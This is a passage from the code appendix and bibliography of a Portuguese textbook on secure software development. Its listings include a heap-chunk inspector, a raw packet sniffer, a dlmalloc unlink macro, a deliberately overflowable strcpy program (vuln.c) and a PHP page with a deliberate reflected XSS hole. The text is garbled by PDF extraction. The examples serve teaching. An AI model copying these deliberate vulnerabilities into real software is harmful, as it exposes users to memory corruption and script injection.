5 int main ( int argc , char ∗∗ argv ) {
6
7 struct malloc_chunk ∗ p t r ;
8 struct malloc_chunk ∗ nxt ;
9 unsigned short SZ ;
10 char ∗ p ;
11
12 if ( a r g c != 2)
13 return 1 ;
14
15 SZ = a t o i ( argv [ 1 ] ) ;
16 p = malloc ( SZ ) ;

96
17
18 ptr = ( struct chunk ∗ ) ( p−SIZE_SZ ∗ 2 ) ;
19 p r i n t f ( " r e q u e s t e d s i z e : %d \ n " , SZ ) ;
20 p r i n t f ( " c h u n k : %p \ n " , p t r ) ;
21 p r i n t f ( " c h u n k −>p r e v _ s i z e : %d \ n " ,
22 int
( ) ( ptr −>p r e v _ s i z e ) ) ;
23 int
p r i n t f ( " c h u n k −> s i z e : %d \ n " , ( ) ( ptr −>s i z e ) ) ;
24 p r i n t f ( " a v a i l a b l e s p a c e : %d \ n " ,
25 unsigned long
( ) ( ptr −>s i z e & ~0x03L ) − 4 ) ;
26
27 nxt = ( struct chunk ∗ ) ( ( char ∗ ) p t r + ptr −>s i z e ) ;
28 p r i n t f ( " n e x t _ c h u n k : %p \ n " , nxt ) ;
29 p r i n t f ( " n e x t _ c h u n k − c h u n k : %i \ n " ,\
30 int
( char
)(( char
∗ ) nxt − ( ∗) ptr − 1 ) ) ;
31 free (p ) ;
32
33 return 0;
34 }

malloc.h

1 #ifndef _CHUNK_H
2 #define _CHUNK_H
3
4 #define PREV_INUSE 0x1
5 #define IS_MMAPPED 0x2
6
7 #define INTERNAL_SIZE_T size_t
8 #define SIZE_SZ sizeof ( s i z e _ t )
9
10 struct malloc_chunk {
11
12 INTERNAL_SIZE_T prev_size ;
13 INTERNAL_SIZE_T size ;
14
15 struct malloc_chunk ∗ f d ;
16 struct malloc_chunk ∗ bk ;
17 };
18
19 #define MIN_CHUNK_SIZE ( sizeof ( struct malloc_chunk ) )
20
21 #define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
22 #define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT − 1 )
23
24 #define MINSIZE \
25 ( unsigned long ) ( ( ( MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) &\
26 ~MALLOC_ALIGN_MASK ) )
27
28 #define r e q u e s t 2 s i z e ( req ) \

97
29 ( ( ( req ) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
30 MINSIZE : \
31 ( ( req ) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
32
33 #else
34 #endif

rawsni.c

1 #include <s t d i o . h>


2 #include <s t d l i b . h>
3 #include <s t r i n g . h>
4
5 #include <s y s / i o c t l . h>
6 #include <u n i s t d . h>
7 #include <e r r n o . h>
8 #include <l i n u x / s o c k i o s . h>
9 #include <l i n u x / i f _ e t h e r . h>
10 #include <net / if . h>
11
12 #define DEVICE_NAME
#define BUF_SZ
" eth1 "
13 16
14
15 int main ( int argc , char ∗∗ argv ) {
16
17 struct i f r e q i f r ;
18 char ∗ buf ;
19 size_t s z = BUF_SZ;
20 int fd ;
21 int i;
22
23 if ( a r g c >= 2)
24 s z = ( s i z e _ t ) a t o i ( argv [ 1 ] ) ;
25
26 f d = s o c k e t (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL) ) ;
27 if( f d == −1) {
28 perror (" socket : " ) ;
29 e x i t (EXIT_FAILURE ) ;
30 }
31
32 buf = malloc ( s z ∗ sizeof char
( ));
33 if
( buf == NULL) {
34 perror (" malloc : " ) ;
35 e x i t (EXIT_FAILURE ) ;
36 }
37
38 memset(& i f r , 0 , sizeof ( ifr ));
39 s t r n c p y ( i f r . ifr_name , DEVICE_NAME, sizeof
( i f r . ifr_name ) ) ;
40 if ( i o c t l ( fd , SIOCGIFHWADDR, & i f r ) == −1) {

98
41 perror (" i o c t l : " ) ;
42 e x i t (EXIT_FAILURE ) ;
43 }
44
45 printf (" Sniffing , DEVICE_NAME,
unsigned char ) i f r . ifr_hwaddr . sa_data [ 0 ] ,
%s : %02X:%02X:%02X:%02X:%02X:%02X\ n "
46 (
47 ( unsigned char ) i f r . ifr_hwaddr . sa_data [ 1 ] ,
48 ( unsigned char ) i f r . ifr_hwaddr . sa_data [ 2 ] ,
49 ( unsigned char ) i f r . ifr_hwaddr . sa_data [ 3 ] ,
50 ( unsigned char ) i f r . ifr_hwaddr . sa_data [ 4 ] ,
51 ( unsigned char ) i f r . ifr_hwaddr . sa_data [ 5 ] ) ;
52
53 read ( fd , buf , sz − 1);
54 buf [ s z ] = 0 ;
55 p r i n t f ( "\n" ) ;
56
57 for ( i =0; i <s z ; i ++)
58 p r i n t f ( " %.2 x " , ( unsigned char ) buf [ i ] ) ;
59 p r i n t f ( "\n" ) ;
60 return 0;
61 }

unlink.c

1 #include " m a l l o c . h"


2
3 #define u n l i n k (P, BK, FD) { \
4 BK = P−>bk ; \
5 FD = P−>f d ; \
6 BK−>f d = FD; \
7 FD−>bk = BK; \
8 }

vuln.c

1 #include <s t d i o . h>


2 #include <s t d l i b . h>
3
4 int main ( int argc , char ∗∗ argv ) {
5 char ∗ p1 ;
6 char ∗ p2 ;
7
8 p1 = malloc ( 6 6 6 ) ;
9 p2 = malloc ( 1 2 ) ;
10 s t r c p y ( p1 , argv [ 1 ] ) ;
11 f r e e ( p1 ) ;
12 f r e e ( p2 ) ;
13 return 0;
14 }

99
xss.php

1 <html>
2 <head><t i t l e >Exemplo de XSS</ t i t l e ></head>
3 <body>
4 <?php
5 $name = $_POST[ ' name ' ];
6
7 if ( $name != null ) {
8 echo "Bem− v i n d o , , $name ;
} else {
"
9
10 ?>
11 <div>
12 <form a c t i o n=" f o r m . php " method=" p o s t " name=" f ">
13 Nome :
14 <inpu t name=" name " type=" t e x t " i d=" name " s i z e=" 3 2 ">
15 <br/>
16 <inpu t name=" s u b m i t " type=" s u b m i t " v a l u e="OK">
17 </form>
18 </div>
19 <?php
20 }
21 ?>
22 </body>
23 </html>

100
7.2 Bibliograa
Referências
[AlbuquerqueRibeiro] Seguança no Desenvolvimento de Software; Ricardo
Albuquerque, Bruno Ribeiro ; Editora Campus, 2002.

[Avizienis2004] Avizienis, A.; Laprie, J-C.; Randell, B.; Landwehr, C.; "Ba-
sic Concepts and Taxonomy of Dependable and Secure Computing"; IEEE
Transactions on Dependable and Secure Computing 1(1); Los Alamitos, CA:
IEEE Computer Society; 2004; pags 11-33

[CERT.Br,2007] CERT.Br, Estatísticas de Incidentes


http://www.cert.br/stats/incidentes/
[CERT/CC,2007] CERT/CC, Vulnerability Statistics 2000-2006
http://www.cert.org/stats/
[CERT-SecCoding] CERT Secure Coding Standards http://www.
securecoding.cert.org/
[CLASP2006] CLASP: Comprehensive Lightweight Application Security Pro-
cess, Secure Software Inc.; John Viega.

[DL-malloc] malloc.c, Doug Lea's malloc() implementation


ftp://g.oswego.edu/pub/misc/malloc.c
[McGraw2005] Software Security, Building Security In; Gary McGraw.
Addison-Wesley Software Security Series. ISBN 0-321-35670-5.

[FFAntiPhish] Phishing Protection, Firefox Website


http://www.mozilla.com/en-US/firefox/phishing-protection/
[Fox2002] Fox, A.; "Toward Recovery-Oriented Computing"; Invited talk;
VLDB 2002; Buscado em: Março 2006;
http://www.cs.ust.hk/vldb2002/VLDB2002-proceedings/papers/
S25P01.pdf
[Friedl2006] SQL Injection Attacks by Example; Steve Friedl;
http://www.unixwiz.net/techtips/sql-injection.html
[Garnkel1996] Practical UNIX & Internet Security, Simson Garnkel & Gene
Spaord; O'Reilly, ISBN 1-56592-148-8.

[Gra et al. 2003] Secure Coding: Principles & Practice; Mark G. Gra,
Kenneth R. van Wyk; O'Reilly; June 2003; ISBN 0-596-00242-4;

[Howard2007] Security Development Lifecycle (SDL) Banned Function Calls;


Michael Howard; Microsoft Corporation, March 2007.
http://msdn2.microsoft.com/en-us/library/bb288454.aspx

101
[ISO17799] ISO/IEC 17799; (2005)
http://www.iso-17799.com/index.htm
[Jakobsson2006] Drive-By Pharming; Sid Stamm, Zulkar Ramzan, Markus
Jakobsson;
http://www.cs.indiana.edu/cgi-bin/techreports/TRNNN.cgi?trnum=
TR641
[JulianoWWW] Juliano's website ; Collection of papers;
http://community.corest.com/~juliano/
[Koziol et al. 2004] The Shellcoder`s Handbook: Discovering and exploiting
security holes; Jack Koziol, David Litcheld, Dave Aitel, Chris Anley, Sinan
"noir"Eren, Neel Mehta, Riley Hassell;

[Lea1996] A Memory Allocator; Doug Lea;


http://gee.cs.oswego.edu/dl/html/malloc.html
[Lipne, Howard, 2005] The Trustworthy Computing Security Development Li-
fecycle; Steve Lipner, Michael Howard; Microsoft Corporation, March 2005;

[LFGS1995] Redes de Computadores, 2a ed.; Luiz Fernando Gomes Soares,


Guido Lemos, Sérgio Colcher; Editora Campus; 1995.

[McGraw&Viega2000] Protect your code through defensive programming, da


série Make your software behave: Preventing buer overows. Gary McGraw
& John Viega, Março 7, 2000. IBM Papers.

[MaXX2001] Vudu - an object superstitiously believed to embody magical


powers; Michel MaXX Kaempf; Phrack Magazine

[Parker2002] Donn B. Parker, Toward a New Framework for Information Se-


curity; The Computer Security Handbook, 4th ed., Seymour Bosworth and
M. E. Kabay (New York, 2002)
http://www.computersecurityhandbook.com/CSH4/Chapter5.html
[PhrackMag] Phrack Magazine;
http://www.phrack.org/
[Phrack49-14] Smashing The Stack For Fun And Prot, by Aleph1;
Phrack 49, File 14 of 16
http://phrack.telegenetic.net/phrack/49/P49-14;
[Patterson2004] Patterson, D.; Brown, A.; Broadwell, P.; Candea, G.; Chen,
M.; Cutler, J.; Enriquez, P.; Fox, A.; Kycyman, E.; Merzbacher, M.; Oppe-
nheimer, D.; Sastry, N.; Tetzla, W.; Traupman, J.; Treuhaft, N.; Recovery
Oriented Computing (ROC): Motivation, Denition, Techniques, and Case
Studies; Technical Report UCB/CSD-02-1175, Computer Science, University
of California Berkeley; 2002; Buscado em: agosto/2004;
URL: http://roc.cs.berkeley.edu/papers/ROC_TR02-1175.pdf

102
[Lewis2006] Secure Coding Best Practices for Memory Allocation in C and
C++, Richard Lewis;
http://www.codeproject.com/useritems/CBP_for_memory_allocation.
asp
[RUS-CERT2002a] RUS-CERT 2002-08:02;
http://cert.uni-stuttgart.de/advisories/calloc.php
[Saltzer1975] The Protection of Information in Computer Systems; Jerome
H. Saltzer, Michael D. SChroeder; IEEE/MIT
http://web.mit.edu/Saltzer/www/publications/protection/
[Schneier1996] Applied Cryptography, 2ED; Bruce Schneier; John Wiley &
Sons, 1996. ISBN 0-471-12845-7

[Schneier2002] Secrecy, Security, and Obscurity; Bruce Schneier, Crypto-


Gram May 15, 2002.
http://www.schneier.com/crypto-gram-0205.html
[SolarDesigner2000] JPEG COM Marker Processing Vulnerability in Netscape
Browsers; Solar Designer, Nov 2000;
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[Staa2000] Arndt von Staa; Programação Modular;
Rio de Janeiro, RJ: Campus; 2000

[Staa2006] Engenharia de Software Fidedigno, Arndt von Staa;


o
Monograas em Ciência da Computação; n 13/06;
Departamento de Informática; PUC-Rio; ISSN 0103-9741;

[U.S.C 44 Ÿ 3542] Title 44 U.S. Code Ÿ 3542


http://www.law.cornell.edu/uscode/html/uscode44/
[Viega2003] Secure Programming Cookbook, for C and C++; John Viega,
Matt Messier; O'Reilly, ISBN 0-596-00394-3

[Webster's Dictionary] Webster's Third New International Dictionary and


Webster's Collegiate Dictionary, 10th edition.

[Wheeler2003] Secure Programming for Linux and Unix HOWTO, David A.


Wheeler.
http://www.faqs.org/docs/Linux-HOWTO/Secure-Programs-HOWTO.html
[Wikipedia:SSP] Stack-smashing protection; Wikipedia entry
http://en.wikipedia.org/wiki/Stack-smashing_protection
[Wikipedia:CAPTCHA] CAPTCHA; Wikipedia entry
http://en.wikipedia.org/wiki/Captcha

103
[Wikipedia:CIA] CIA Triad; Wikipedia entry
http://en.wikipedia.org/wiki/CIA_Triad
[Wikipedia:Phishing] Phishing; Wikipedia entry
http://en.wikipedia.org/wiki/Phishing
[w00w00] w00w00 on Heap Overows;
Matt Conover (a.k.a. Shok) & w00w00 Security Team;
http://www.w00w00.org/articles.html

104